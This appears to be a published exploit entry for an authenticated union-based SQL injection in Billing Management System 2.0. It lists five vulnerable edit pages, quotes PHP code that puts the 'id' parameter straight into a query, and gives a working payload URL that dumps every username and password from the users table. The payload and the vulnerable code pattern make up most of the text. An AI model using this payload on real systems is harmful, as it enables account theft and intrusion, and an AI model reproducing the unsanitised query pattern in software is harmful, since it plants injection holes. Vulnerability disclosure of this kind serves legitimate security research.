# Exploit Title: Billing Management System 2.0 - Union based SQL injection (Authenticated) # Date: 2021-05-16 # Exploit Author: Mohammad Koochaki # Vendor Homepage: https://www.sourcecodester.com/php/14380/billing-management-system-php-mysql-updated.html # Software Link: https://www.sourcecodester.com/download-code?nid=14380&title=Billing+Management+System+in+PHP%2FMySQLi+with+Source+Code # Version: 2.0 # This web application contains several SQL injection vulnerabilities in the following paths: - http://localhost/editgroup.php?id=1 - http://localhost/edituser.php?id=1 - http://localhost/editcategory.php?id=10 - http://localhost/editproduct.php?id=1 - http://localhost/editsales.php?id=1 # PoC (editgroup.php): - Vulnerable code: $sql="SELECT * from user_groups where delete_status='0' and id='".$_GET['id']." '"; - Payload: http://localhost/editgroup.php?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),3,4,5%20from%20users--+